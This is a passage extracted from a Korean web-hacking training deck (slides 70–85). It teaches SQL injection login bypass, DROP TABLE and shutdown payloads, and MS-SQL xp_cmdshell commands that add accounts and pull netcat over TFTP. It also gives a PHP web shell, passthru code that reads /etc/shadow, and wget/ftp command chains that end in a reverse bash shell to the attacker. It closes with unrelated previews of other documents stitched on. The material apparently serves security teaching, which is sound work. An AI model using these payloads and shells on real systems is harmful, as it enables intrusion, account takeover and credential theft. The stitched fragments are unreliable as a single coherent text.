70 login_ok.asp 에는우리가입력한값을데이터베이스에서비교하여정상적인사용자인지확인을하게된다. 이때 login_ok.asp 파일내에있는 SQL 구문의기본적인형태는다음과같다. SELECT name FROM user WHERE id= $id AND pass= $pass ; 여기서 $id 와 $pass 는우리가입력한아이디와비밀번호값이들어가게된다. 아이디에 test 비밀번호에 1234 를입력하면다음과같은식이성립하게된다. SELECT name FROM user WHERE id= test AND pass= 1234 ; 만약아이디와비밀번호입력란에정상적인문자열이아닌특수문자가들어간문자열을입력하면전혀다른 결과가나오게된다. 예를들어아이디입력란에 ( 외따옴표 ) 만입력하였을경우 login_ok.asp 에서는다음 식을가지고결과를처리하게된다. SELECT name FROM user WHERE id= AND pass= ; 분명에러가발생한다. 먼저외따옴표의개수가짝을이루지못하여 SQL 구문이엉키게된다. 사이트에 따라서에러구문을보여주기도하고혹은미리지정된에러페이지가보일수도있다. 현재대부분의 사이트들은자바스크립트를같이쓰기때문에비밀번호부분에값이입력되지않았으니입력하라고나온다. 이번에는위의 SQL 구문에아이디와비밀번호입력란에다음과같은문자를입력해보자. $id = or 1=1 -- $pass = 1111 ( 아무런값이나상관없음 ) 위의값을입력하게되면다음과같이 SQL 구문이완성이된다. SELECT name FROM user WHERE id= or 1=1 -- AND pass= 1111 ; SQL 구문은참이되므로구문의결과값인 user 테이블에서일치하는사용자의이름 (name) 을반환하게된다. 만약 SQL 구문이사용자로그인에관련된구문이라면정상적인사용자로로그인이가능하게된다. $id = admin or 1=1 -- 이라고입력하게되면현재데이터베이스에 admin 이라는사용자가있다면 admin 사용자로로그인이되게된다. -- 는 MS-SQL 에서사용되는주석처리구문이다. 따라서위의구문은 -- 이후의구문은무시되고 1=1 이라는식의참과 id= 의거짓이 or 연산을하여참이되므로정상적으로로그인이가능한것이다. 그리고종종 -- 는 # 으로대체할수가있다
71 현재다수의웹서버응용프로그램들은클라이언트에의해서입력된값을검사하지않고 SQL 을구문을 수행하기때문에이와같은취약점이존재하게된다. (Input Validation) 이번에는 SQL 구문에서 -- 을주석으로처리하지않을때의상황을생각해보자. 이런경우에는아이디입력란과비밀번호입력란에모두 SQL 구문을혼돈시키는문자열을입력해야한다. 다음과같이입력해보자. $id = or 1 = 1 $pass = or 1 = 1 SELECT name FROM user WHERE id= or 1 = 1 AND pass= or 1 = 1 ; 굵게칠해진부분이우리가입력한값이다. 위와마찬가지로이번에도참이된다. 1 = 1 이라는식이참이 되고 or 연산을하기때문에결과적으로참이되는것이다. 크게이렇게두가지방법이있는데첫번째주석처리구문을삽입하는방법은주로 ASP 와 MS-SQL 되어있는사이트에서많이사용되고두번째방법은 PHP 로되어있는사이트에서많이사용되고 ASP 와 MS- SQL 로되어있는사이트에서도사용된다. 다음은위의두가지방법이외에우리가입력해볼수있는다른방법들이다. or 1=1 -- or 1=1 -- or 1 = 1 ) or ( 1 = 1 이번에는약간다른상황을생각해보자. 아이디와비밀번호입력란에특수문자를쓸수없도록되어있을경우 HTML 폼에입력하지않고 URL 을우리가원하는값으로완성시켜서버에게전송하게할수있다. 앞서배웠던 URL encoding 을이용하여특수문자들을 URL 형태에맞게변환하여보낼수있다. 다음은예제에서사용될 login.cgi 파일중아이디와비밀번호를검사하는부분이다
72 URL = HTTP.GetFromUser() user_id = URL.parameter( user_id ) password = URL.parameter( password ) query = SELECT name FROM userlist WHERE uid= + user_id + AND pwd= + password + ; database.connect() result = database.execute(query) if result HTTP.Send( Login successful. Welcome, + result) IsAuthenticated = true else HTTP.Send( User ID or password is incorrect. ) IsAuthenticated = false end if if IsAuthenticated HTTP.Send(MainMenu) end if 이파일에게다음과같은 URL 을보낼때는다음과같이보낼수있다. %20OR%20 %3d 웹브라우저위와같이입력하게되면 login.cgi 라는파일에게 id=dcooper 과 password= %20OR%20 %3d 라는값을전달하게된다. 이 URL 이서버에게전달되게되면서버 는 SQL 쿼리문에서다음과같이처리를한다. SELECT name FROM userlist WHERE uid= dcooper AND pwd= OR = ; 이쿼리문은 userlist 테이블에서사용자가 dcooper 인레코드에서 name 값을가져와서반환하게된다. 이렇게 URL 을이용하여입력되어서는안되는문자들을서버에게전송할수도있다. 위와유사하게사용될 수있는 URL 들을몇개더보도록하겠다. SELECT name FROM userlist WHERE uid=dcooper AND pwd=foo OR 1=1; %20OR%20 %3d &password= %20OR%20 %3d SELECT name FROM userlist WHERE uid= OR = AND pwd= OR = ; ;-- SELECT name FROM userlist WHERE uid= % ;-- AND pwd= ; %20 은공백을뜻하고 %3d 는 = 을뜻한다. %25 는 % 를뜻한다
73 2. Reverse-Engineering 로그인페이지에서아이디와비밀번호입력시 8 글자이상을입력하지못하도록코드를작성할수가있다. 이러한경우우리가이전에사용했던 or 1 = 1 이나 or 1=1 -- 의방법은 8 글자를넘어가므로공격이불가능하다. 하지만완전히불가능한것은아니다. HTML 태그는웹페이지소스보기를하면보이므로이를수정하여 8 글자이상을입력하는것이가능하다. 다음은입력폼에최대 8 글자만입력이가능하도록하게하는 HTML 폼이다. <form method=post name=loginform action=loginok.asp>... <input type= text name= userid size=8 maxlength=8 class= input_basic > <input type= passwd name= userpass size=8 maxlength=8 class= input_basic > 위와같이 8 글자이상은입력이안된다. maxlength 가 8 이기때문에사용자가입력할때 8 글자가최고이다. 우리는이 maxlength 부분은충분히늘려준다음자신의컴퓨터에저장을한다. 로컬컴퓨터로저장하는이유는우리가서버의내용을직접수정하지못하기때문이다. 그리고한가지더수정해야하는부분은 action 부분이다. 이 input 태그의값을전달해주는파일이 action 에지정된파일이다. action 부분은 form 태그에속한값으로서 form 태그는 input 태그보다먼저나온다. 개발자마다다르겠지만보통 action 에지정된파일은상대경로를쓴다. 이파일을로컬컴퓨터에저장을하게되면 action 에지정된파일은상대경로가아닌 URL 을포함한절대경로를써주어야만우리가입력한값을정상적으로전달할수있다. 위의 form 태그와 input 태그는다음과같이수정하여로컬컴퓨터에 login.html 로저장을하자. <form method=post name=loginform action= <input type= text name= userid size=20 maxlength=20 class= input_basic >
74 <input type= passwd name= userpass size=20 maxlength=20 class= input_basic > 이렇게해서우리가원하는문자열을입력할수가있다. 만약위처럼 or 1=1 -- 로입력을한이유는이사이트가 ASP 로되어있기때문이고이방법이안될경우 or 1 = 1 로입력을해보아도된다. 이방법은리버스엔지니어링중가장간단한방법이다. 다음은 을입력하였을경우화면에보여지는에러메시지를보고공격을하는리버스엔지니어링에대해서알아보자. 먼저아이디와비밀번호입력란에위에서배웠던방법을사용하여도되고혹은외따옴표 ( ) 만입력해보아도된다. 리버스엔지니어링의핵심은정상적이지않은입력을통해화면에보여지는에러메시지를보고정상적인것처럼보이는입력을찾아내는것이다. 따라서이방법은여러번의시행착오를거쳐야하는상황이발생할수있고모든방법을모두적용시켜도공격이이루어지지않을수도있다. 다음이미지는 or 1=1 -- 와 1111 을입력했을때나타나는에러메시지이다
75 우리가유심히보아야할부분은다음과같다. 'id = '' or 1=1 --' and pwd = '1111'' 이부분에서에러가발생하였다고나와있다. 이문장에서우리가입력했던문장을변수로대치시키면 SQL 쿼리문을도출해낼수가있다. 쿼리문은다음과같다. SELECT user FROM userlist WHERE id= $id and pwd= $pass 지금까지보았던구문과약간다른점이있다조건이들어가는부분을 로한번더묶었다는것을알수가있다. 그리고에러메시지에서보면외따옴표의개수가짝이맞지가않다. 이것은우리가입력하는문자열에외따옴표가하나더들어가거나덜들어가게해서짝을맞추어주어야한다는것을의미한다. 그리고에러메시지에서 -- 이주석처리가되지않고있음을알수가있다. 따라서 or 1=1 -- 방법은공격이되지않을것이라는것을추측할수가있다. 다른예를보도록하자. select username from users where username='' or users.username like 'a%' --' and userpass='' Username: ' or 1=1; drop table users; -- Password: [Anything] Username: '; shutdown with nowait; -- Password: [Anything] select username from users where username=''; exec master..xp_cmdshell 'iisreset'; --' and userpass='' admin 계정으로들어가기위해서 [ table 명.field 명 like a% -- ] 을입력하는방법도있다. 그외에테이블삭제, DB 종료, 시스템명령실행등의동작이가능하기도하다. 3. MS MSQL Stored Procedures MS SQL 서버에는 SQL 서버관리의편의를위해설치된몇몇프로시저들이있는데특히 xp_cmdshell 은 관리자권한으로명령이실행되므로사용자추가등의시스템명령이실행가능한프로시저이다. 만약의견을적을수있는게시판을이용해서다음과같이입력할수있다. exec master..xp_cmdshell net user newusername newuserpassword /ADD -- 이입력이들어가는쿼리문은다음과같다
76 SELECT * from MyTable WHERE sometext= exec master..xp_cmdshell net user newusername newuserpassword /ADD -- 이는 URL 을이용해서도가능하다. 위의명령어는 xp_cmdshell 명령어를이용하여 NT/2000 윈도우의 cmd.exe 를웹서버루트로복사를하는내용이다. copy+\winnt\system32\cmd.exe+\inetpub\scripts MS SQL 의이취약점을이용하여공격하는하나의시나리오를만들어보겠다. IIS 5.0 / MS-SQL / Windows 2000 Server 위와같이 IIS 5.0 에 MS-SQL 을탑재하고있는 Windows 2000 Server 가공격대상이다. 이공격에서우리는웹브라우저만을가지고서버의관리자권한을획득할것이다. 위에보이는 URL 이 우리가사용할 URL 중에서공통적인부분이다. 먼저공격대상에서 netcat 이라는통신프로그램을전송할것이다. netcat 을전송하기위해서서버에서 TFTP 를실행시켜공격자가인증없이서버에파일을보낼수있게한다. netcat 이위치할곳은 C:\ 이고 netcat 의업로드가완료되면 cmd.exe 파일을 IIS 의 DocumentRoot 에복사한다. 그리고 netcat 을이용하여특정포트를연다음공격자는 netcat 을이용하여접속하게되면 command 제어권을얻을수있다. 이때방화벽에의해특정포트이외에모두막혀있을경우공격자가 netcat 을 listen 상태로두고공격대상에공격자에게연결을하게만들면된다. master..xp_cmdshell tftp i GET nc.exe C:\nc.exe master..xp_cmdshell copy \winnt\system32\cmd.exe /inetpub/scripts master..xp_cmdshell c:\nc.exe l p 6666 e cmd.exe Hacker # nc
77 마지막으로 maxlength 가아닌자바스크립트로문자열을체크하는경우가있다. 이런경우두가지로부류할수있는데하나는서버측에서문자열을체크하는것이고다른하나는클라이언트측에서문자열을체크하는것이다. 클라이언트측에서문자열을검사하게되면공격자가문자열검사스크립트를제외시킬수있고그렇게되면결과적으로문자열을검사하지않고 sql injection 공격을할수있게되는것이다. 다음은 HTML 코드안에속해있는로그인스크립트부분이다. function login() { var form = document.login; if (form.mem_id.value == "") { alert("id 를입력해주십시오 "); form.mem_id.focus(); return ; } if (form.mem_pwd.value == "") { alert(" 비밀번호를입력해주십시요 "); form.mem_pwd.focus(); return ; } var id_check = ""; var temp6 = ""; id_check = " abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; // 문자열체크를위한문자열나열 if ( form.mem_id.value ) { // 문자열체크를위한코드 for ( var i = 0 ; i < form.mem_id.value.length ; i++ ) { temp6 = form.mem_id.value.substring(i, i+1); if ( id_check.indexof(temp6) == -1 ) { alert(" 아이디에는숫자와영문자이외에는 \n\n 사용하실수없습니다."); form.mem_id.value = ""; form.mem_id.focus(); return; } } } form.submit(); } 굵게되어있는부분이문자열을검사하는부분이다. 아이디와비밀번호의입력값검사를할때지정된 문자열이아니면잘못된문자열이라고경고를알리게된다. 이부분을삭제하게되면문자열검사를하지 않고공격자가입력하는값을그대로받아들이게된다. 굵게된부분을삭제하고마찬가지로로컬컴퓨터로저장해서실해하게되면문자열을검사하지않게된다. 물론이때 form 태그에 action 부분은절대경로를넣어주어야지만정상적으로값을전달할수있다
78 6-3. File Injection Student Notes 내부명령어를실행하는코드가있는파일을생성하고공격하고자하는홈페이지의자료실등에파일을업로 드한후업로드한파일의절대경로를찾아내어파일을실행시킨다. (.php.php3.inc.asp.pl.cgi) 다음은 WEB 상에서쉘과같은기능을할수있는 PHP 코드이다. <? $command=str_replace("\\","",$command); $result=`$command`; $info = ereg_replace("\n","","[".`whoami`."@".`pwd`."]"); echo "<hr><form action=$php_self method=post> $info <input type=text name=command value='$command' size=40> <input type=submit value='go'></form><hr>\n <xmp>\n$result\n</xmp><hr>";?>
79 6-4. Query 를이용한내부명령어실행 Student Notes 대부분의컴퓨터용언어에는시스템내의운영체제상의명령어를손쉽게실행시킬수있는함수를제공한다. Server Side Include 와같은언어도마찬가지이다. 이중 PHP 에서는 passthru, system 혹은 php 파일을곧장불러실행할수있는 fpassthru 함수가제공된다. 만약아래와같은구문이있다면어떤일이벌어질까? <? passthru(date);?> 해당페이지를브라우저로열어보면유닉스의 date 명령에대한실행결과가나타남을확인할수있다
80 몇가지예제를입력하면서테스트해보자. 1. 먼저웹서버가실행되어있는지확인을한다. # ps ef grep http 2. 웹서버가실행되어있지않으면웹서버데몬을실행시킨다. # /etc/rc.d/init.d/httpd start 3. head 명령을실행하는 test.php 파일을생성한다. # cd /var/www/html # vi test.php <html> <body> <h1>test2 PAGE</h1> <? passthru( head /etc/shadow );?> </body></html> # chmod 4755 /usr/bin/head 4. 브라우저를열어결과페이지를확인해보자 브라우저를통해현재접속되어있는사용자의아이디가무엇인지확인해보자 (passthru 함수부분수정 )
81 6-5. Reverse Telnet Remote Command Execution Attacker TCP 80 open Web Server netcat upload connect to attacker # nc -l -p 9999 # nc -e /bin/bash Student Notes 공격자에의해원격지에서파일의명령이실행되는가장큰이유는개발자들의편의만을생각한개발에있다. 개발당시좀더빨리좀더편하게하기위해보안상문제가되는부분을소홀히지나갔기때문에이런공격이이루어지게되는것이다. 예를들어 PHP 코드중에다음과같은구문이있다면원격지에서파일의명령실행이가능하다. <? include $file;?> <? passthru($cmd);?> 첫번째의경우우리가흔히볼수있는코드이고두번째코드는흔히볼수없는코드이다. passthru 의경우 흔히볼수는없지만공격자가임의적으로이런파일을만들어게시판같은곳에업로드를하게되면 $cmd 에 의해서공격자가원하는명령을실행하고그에대한결과를받아볼수있다
82 공격이가능한하나의시나리오를만들어보자. 먼저공격대상의게시판소스코드를획득한후코드를분석하던중 include $file 이라는부분을찾아냈다. 이코드가포함되어있는파일이 login.php 라고하고공격자는 test.php 라는파일을아래와같이만든다. # vi test.php <? passthru($cmd);?> 그리고웹브라우저에서다음과같은 URL 을입력한다. -al 이렇게해서화면에유닉스명령인 ls -al 의결과가보인다면이서버는원격지파일의명령실행공격에대해취약하다는것을알수있다. 원하는명령에대한결과를보고자하는경우매번브라우저에입력을해야한다. 그렇게되면번거럽기도하겠지만웹서버의 access_log 에우리가입력했던 URL 이모두남게된다. 그래서이번에는 netcat 이라는프로그램을이용하여공격대상의터미널을리버스로공격자에게열어주는 방법을사용해보도록하겠다. 공격대상과공격자모두리눅스시스템을사용하고있다고가정하도록하겠다. [terminal] # nc -l -p 8888 [web browser] 1. /tmp /tmp/nc e /bin/bash netcat 이정상적으로실행되었다면공격자의터미널창에연결이되었음을나타내는메시지가보일것이다. 그런데만약공격대상서버에 wget 이라는프로그램이없다면위와같은공격은되지않을것이다. 이경우 ftp 를이용하여공격대상서버가공격자의서버에접속하여 netcat 을다운로드하도록할수가있다. ftp 에대한명령어들이들어있는파일을생성해서공격대상의서버에서실행하면받을수있다
83 [ 공격자 ] # cat > ftpdown.txt open // nc 를다운받을 ftp 사이트주소 user hacker hacker // id & password bin // 바이너리모드로전환 get nc //nc 다운로드 quit // 접속종료 ^D # nc -l -p 8888 [ 공격대상 ] # ftp -n < ftpdown.txt // ftpdown.txt 에있는내용을한라인씩읽어서 ftp 실행 그러나이경우 ftpdown.txt 라는파일을공격대상서버에업로드하는일도힘들경우웹브라 우저를통해위의과정을모두처리할수있다. /tmp open > /tmp/ftpdown.txt user hacker hacker >> /tmp/ftpdown.txt bin >> /tmp/ftpdown.txt get nc >> /tmp/ftpdown.txt quit >> /tmp/ftpdown.txt /tmp; ftp -n < /tmp/ftpdown.txt /tmp/nc; /tmp/nc -e /bin/bash ftp 라는명령은대부분의서버에서실행이가능하므로위의공격은성공적으로이루어지지만웹서버의 access_log 나 error_log 에로그가많이남기때문에위험이따른다
84 6-6. Cross-Site Scripting(XSS) Cross Site Scripting Student Notes XSS 라고불리우는 Cross Site Scripting 은공격대상을서버에서개인사용자로만드는데가장큰역할을하였다. 웹서버는단지중간매개체역할을할뿐이다. 공격자들은웹어플리케이션을이용하여다른사용자에게자바스크립트같은악성코드를보내고공격대상자가이코드를읽었을때이사용자의정보를공격자에게보내지게된다. 공격자는공격대상자에게악성코드가담긴이메일을보내거나특정사이트의게시판에악성코드를 추가하여게시물을작성하여다른사용자들이글을읽기만하여도코드가실행되게하기도한다. 심지어는 공격자가직접사이트를구축하기도한다
85 이런공격이공격자의의도대로이루어지게되면사용자들의계정정보를하이재킹하여사용자정보를수정하거나쿠키를조작하여개인정보를수정하기도한다. 또는이공격을통해획득된다른사용자의계정을도용하여스팸메일을보내기도한다. 이런공격이이루어지게하는코드들로는 JavaScript, VBScript, ActiveX, Flash 등이있다. 여기서는주로 JavaScript 를이용하여실습을하도록하겠다. 먼저웹브라우저에다음과같이입력을해보겠다. 현재접속된사용자에대한쿠키값이다. 만약사용자가로그인을하였다면더많은정보를볼수있을것이다. 지금부터이장에서이루어지는모든공격들은이 document.cookie 라는것에의해서이루어질것이다. 아이디와패스워드뿐만아니라쿠키정보를가지고인증을하기때문에쿠키가악의적인사용자의손에 들어가게된다면그악의적인사용자는다른사용자인것처럼접속이가능해진다
PowerPoint 프레젠테이션
Chapter 05. 파일접근권한관리하기 00. 개요 01. 파일의속성 02. 파일의접근권한 03. 기호를이용한파일접근권한변경 04. 숫자를이용한파일접근권한변경 05. 기본접근권한설정 06. 특수접근권한 파일의속성을이해하고설명할수있다. 접근권한의종류와표기방법을이해하고설명할수있다. 접근권한을바꾸기위해기호모드에서원하는권한을기호로표기할수있다. 접근권한을바꾸기위해숫자모드에서원하는권한을숫자로표기할수있다.
More informationChapter 05. 파일접근권한관리하기
Chapter 05. 파일접근권한관리하기 00. 개요 01. 파일의속성 02. 파일의접근권한 03. 기호를이용한파일접근권한변경 04. 숫자를이용한파일접근권한변경 05. 기본접근권한설정 06. 특수접근권한 파일의속성을이해하고설명할수있다. 접근권한의종류와표기방법을이해하고설명할수있다. 접근권한을바꾸기위해기호모드에서원하는권한을기호로표기할수있다. 접근권한을바꾸기위해숫자모드에서원하는권한을숫자로표기할수있다.
More informationMicrosoft Word - ntasFrameBuilderInstallGuide2.5.doc
NTAS and FRAME BUILDER Install Guide NTAS and FRAME BUILDER Version 2.5 Copyright 2003 Ari System, Inc. All Rights reserved. NTAS and FRAME BUILDER are trademarks or registered trademarks of Ari System,
More information1 5 8 159 5 8 PA M m i n l e n d c re d i t u c re d i t l c redit o c redit 5 /etc/pam.d/passwd vi /etc/pam.d/passwd password required /lib/security/pam_stack.so service=system-auth passwd s y s t e m
More informationPowerPoint Template
JavaScript 회원정보 입력양식만들기 HTML & JavaScript Contents 1. Form 객체 2. 일반적인입력양식 3. 선택입력양식 4. 회원정보입력양식만들기 2 Form 객체 Form 객체 입력양식의틀이되는 태그에접근할수있도록지원 Document 객체의하위에위치 속성들은모두 태그의속성들의정보에관련된것
More information1) 인증서만들기 ssl]# cat >www.ucert.co.kr.pem // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키
Lighttpd ( 멀티도메인 ) SSL 인증서신규설치가이드. [ 고객센터 ] 한국기업보안. 유서트기술팀 1) 인증서만들기 [root@localhost ssl]# cat www.ucert.co.kr.key www.ucert.co.kr.crt >www.ucert.co.kr.pem // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat
More information1. efolder 시스템구성 A. DB B. apache - mod-perl - PHP C. SphinxSearch ( 검색서비스 ) D. File Storage 2. efolder 설치순서 A. DB (MySQL) B. efolder Service - efolder
Embian efolder 설치가이드 efolder 시스템구성 efolder 설치순서 Installation commands 1. efolder 시스템구성 A. DB B. apache - mod-perl - PHP C. SphinxSearch ( 검색서비스 ) D. File Storage 2. efolder 설치순서 A. DB (MySQL) B. efolder
More information1) 인증서만들기 ssl]# cat >www.ucert.co.kr.pem // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat [ 개인키
Lighttpd ( 단일도메인 ) SSL 인증서신규설치가이드. [ 고객센터 ] 한국기업보안. 유서트기술팀 1) 인증서만들기 [root@localhost ssl]# cat www.ucert.co.kr.key www.ucert.co.kr.crt >www.ucert.co.kr.pem // 설명 : 발급받은인증서 / 개인키파일을한파일로저장합니다. ( 저장방법 : cat
More information<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D313939392D382E687770>
i ii iii iv v vi 1 2 3 4 가상대학 시스템의 국내외 현황 조사 가상대학 플랫폼 개발 이상적인 가상대학시스템의 미래상 제안 5 웹-기반 가상대학 시스템 전통적인 교수 방법 시간/공간 제약을 극복한 학습동기 부여 교수의 일방적인 내용전달 교수와 학생간의 상호작용 동료 학생들 간의 상호작용 가상대학 운영 공지사항,강의록 자료실, 메모 질의응답,
More informationPowerPoint Template
설치및실행방법 Jaewoo Shim Jun. 4. 2018 Contents SQL 인젝션이란 WebGoat 설치방법 실습 과제 2 SQL 인젝션이란 데이터베이스와연동된웹서버에입력값을전달시악의적동작을수행하는쿼리문을삽입하여공격을수행 SELECT * FROM users WHERE id= $_POST[ id ] AND pw= $_POST[ pw ] Internet
More informationOracle hacking 작성자 : 임동현 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용
Oracle hacking 작성자 : 임동현 (ddongsbrk@naver.com) 작성일 2008 년 10 월 11 일 ~ 2008 년 10 월 19 일 신규작성 작성내용 Skill List 1. Oracle For Pentest 1. Find TNS Listener (Default 1521 port) (with nmap or amap) 2. Get the
More information작성자 : 기술지원부 김 삼 수
작성자 : 기술지원부김삼수 qpopper 설치 qpopper란무엇인가? 메일수신을하기위해필요한프로그램으로 qpopper는가장인기있는 email 클라이언트에의해사용되는인터넷 email 다운로딩을위한 POP3프로토콜을사용합니다. 그러나 qpopper는 sendmail이나 smail과같이 SMTP프로토콜은포함하고있지않습니다. (
More informationLXR 설치 및 사용법.doc
Installation of LXR (Linux Cross-Reference) for Source Code Reference Code Reference LXR : 2002512( ), : 1/1 1 3 2 LXR 3 21 LXR 3 22 LXR 221 LXR 3 222 LXR 3 3 23 LXR lxrconf 4 24 241 httpdconf 6 242 htaccess
More information다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");
다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp"); dispatcher.forward(request, response); - 위의예에서와같이 RequestDispatcher
More informationuntitled
Oracle DBMS 로그인의접근제어우회 취약점분석 2006. 2. 9 인터넷침해사고대응지원센터 (KISC) 본보고서의전부나일부를인용시반드시 [ 자료 : 한국정보보호진흥원 (KISA)] 룰명시하여주시기바랍니다. 개요 o 2005년이후 Oracle Critical Patch Update(CPU) 는 Oracle사제품대상으로다수의보안패치및보안패치와관련된일반패치를발표하는주요수단임
More informationMicrosoft Word - src.doc
IPTV 서비스탐색및콘텐츠가이드 RI 시스템운용매뉴얼 목차 1. 서버설정방법... 5 1.1. 서비스탐색서버설정... 5 1.2. 컨텐츠가이드서버설정... 6 2. 서버운용방법... 7 2.1. 서비스탐색서버운용... 7 2.1.1. 서비스가이드서버실행... 7 2.1.2. 서비스가이드정보확인... 8 2.1.3. 서비스가이드정보추가... 9 2.1.4. 서비스가이드정보삭제...
More information게시판 스팸 실시간 차단 시스템
오픈 API 2014. 11-1 - 목 차 1. 스팸지수측정요청프로토콜 3 1.1 스팸지수측정요청프로토콜개요 3 1.2 스팸지수측정요청방법 3 2. 게시판스팸차단도구오픈 API 활용 5 2.1 PHP 5 2.1.1 차단도구오픈 API 적용방법 5 2.1.2 차단도구오픈 API 스팸지수측정요청 5 2.1.3 차단도구오픈 API 스팸지수측정결과값 5 2.2 JSP
More information[ 컴퓨터시스템 ] 3 주차 1 차시. 디렉토리사이의이동 3 주차 1 차시디렉토리사이의이동 학습목표 1. pwd 명령을사용하여현재디렉토리를확인할수있다. 2. cd 명령을사용하여다른디렉토리로이동할수있다. 3. ls 명령을사용하여디렉토리내의파일목록을옵션에따라다양하게확인할수
3 주차 1 차시디렉토리사이의이동 학습목표 1. pwd 명령을사용하여현재디렉토리를확인할수있다. 2. cd 명령을사용하여다른디렉토리로이동할수있다. 3. ls 명령을사용하여디렉토리내의파일목록을옵션에따라다양하게확인할수있다. 학습내용 1 : 현재디렉토리확인 1. 홈디렉토리 - 로그인을한후, 사용자가기본으로놓이게되는디렉토리위치를홈디렉토리 (home directory)
More informationWindows Server 2012
Windows Server 2012 Shared Nothing Live Migration Shared Nothing Live Migration 은 SMB Live Migration 방식과다른점은 VM 데이터파일의위치입니다. Shared Nothing Live Migration 방식은 Hyper-V 호스트의로컬디스크에 VM 데이터파일이위치합니다. 반면에, SMB
More informationObservational Determinism for Concurrent Program Security
웹응용프로그램보안취약성 분석기구현 소프트웨어무결점센터 Workshop 2010. 8. 25 한국항공대학교, 안준선 1 소개 관련연구 Outline Input Validation Vulnerability 연구내용 Abstract Domain for Input Validation Implementation of Vulnerability Analyzer 기존연구
More information<4D F736F F F696E74202D C0A5BCADB9F620BAB8BEC8BCB3C1A420B0A1C0CCB5E52E707074>
Apache 웹서버보안문제 웹서버 / 클라이언트 / 애플리케이션자체의버그 웹서버 / 클라이언트 / 애플리케이션설정의오류 침입차단시스템의웹서비스오픈 SANS TOP20 Vulnerabilities Top Vulnerabilities to Windows Systems Top Vulnerabilities to UNIX Systems W1. Web Servers &
More information<3035313230325FBBE7B0EDB3EBC6AE5FB5F0C6FAC6AEC6D0BDBABFF6B5E5C3EBBEE0C1A128BCF6C1A4292E687770>
네트워크 장비의 디폴트 로그인 패스워드 취약점 및 대책 2005. 11. 30 본 보고서의 전부나 일부를 인용시 반드시 [자료: 한국정보보호진흥원(KISA)]룰 명시하여 주시기 바랍니다. - 1 - 1. 개요 패스워드 관리는 보안의 가장 기본적인 사항으로 유추하기 어려운 패스워드를 사용하고, 주기적 으로 패스워드를 변경하는 등 패스워드 관리에 신경을 많이 쓰고
More informationMicrosoft PowerPoint - chap02-C프로그램시작하기.pptx
#include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의
More informationSecure Programming Lecture1 : Introduction
Malware and Vulnerability Analysis Lecture4-1 Vulnerability Analysis #4-1 Agenda 웹취약점점검 웹사이트취약점점검 HTTP and Web Vulnerability HTTP Protocol 웹브라우저와웹서버사이에하이퍼텍스트 (Hyper Text) 문서송수신하는데사용하는프로토콜 Default Port
More information0. 들어가기 전
컴퓨터네트워크 14 장. 웹 (WWW) (3) - HTTP 1 이번시간의학습목표 HTTP 의요청 / 응답메시지의구조와동작원리이해 2 요청과응답 (1) HTTP (HyperText Transfer Protocol) 웹브라우저는 URL 을이용원하는자원표현 HTTP 메소드 (method) 를이용하여데이터를요청 (GET) 하거나, 회신 (POST) 요청과응답 요청
More informationPowerPoint 프레젠테이션
사용자계정관리 운영체제실습 목차 Ⅲ. 사용자계정관리 4.1 사용자계정관리 4.2 그룹관리 4.3 사용자계정관련파일 4.4 패스워드관리 4.5 사용자신분확인 4.1 사용자계정관리 사용자생성관련명령어 사용자생성 : useradd / adduser 사용자삭제 : userdel 사용자정보변경 : usermod 패스워드설정및변경 : passwd 그룹생성관련명령어 group
More informationThe Pocket Guide to TCP/IP Sockets: C Version
인터넷프로토콜 5 장 데이터송수신 (3) 1 파일전송메시지구성예제 ( 고정크기메시지 ) 전송방식 : 고정크기 ( 바이너리전송 ) 필요한전송정보 파일이름 ( 최대 255 자 => 255byte 의메모리공간필요 ) 파일크기 (4byte 의경우최대 4GB 크기의파일처리가능 ) 파일내용 ( 가변길이, 0~4GB 크기 ) 메시지구성 FileName (255bytes)
More informationSQL Developer Connect to TimesTen 유니원아이앤씨 DB 기술지원팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 작성자
SQL Developer Connect to TimesTen 유니원아이앤씨 DB 팀 2010 년 07 월 28 일 문서정보 프로젝트명 SQL Developer Connect to TimesTen 서브시스템명 버전 1.0 문서명 작성일 2010-07-28 작성자 김학준 최종수정일 2010-07-28 문서번호 20100728_01_khj 재개정이력 일자내용수정인버전
More informationPowerPoint 프레젠테이션
WEB SERVER PORTING 1 Jo, Heeseung 웹서버포팅 HBE-SM5-S4210 를임베디드웹서버로사용할수있도록웹서버를올리는작업 임베디드서버에널리쓰이는웹서버들중 GoAhead 라는웹서버를포팅 CGI 프로그램을이용하여웹에서 HBE-SM5-S4210 의 LED, 7- Segment, TextLCD 를제어실습 2 Goahead webserver 소스를다운받거나제공된
More informationWindows 8에서 BioStar 1 설치하기
/ 콘텐츠 테이블... PC에 BioStar 1 설치 방법... Microsoft SQL Server 2012 Express 설치하기... Running SQL 2012 Express Studio... DBSetup.exe 설정하기... BioStar 서버와 클라이언트 시작하기... 1 1 2 2 6 7 1/11 BioStar 1, Windows 8 BioStar
More informationApache( 단일도메인 ) SSL 인증서갱신설치가이드 본문서는주식회사한국기업보안에서 SSL 보안서버인증서설치를위해작성된문서로 주식회사한국기업보안의동의없이무단으로사용하실수없습니다. [ 고객센터 ] 한국기업보안. 유서트기술팀 Copyright 201
Apache( 단일도메인 ) SSL 인증서갱신설치가이드. [ 고객센터 ] 한국기업보안. 유서트기술팀 02-512-9375 1. 발급받으신인증서를해당서버폴더에업로드또는저장합니다. 설명 : [$httpd_home] = Apache 디렉토리 [root@localhost httpd]# mkdir conf.d/ssl_new [root@localhost httpd]#
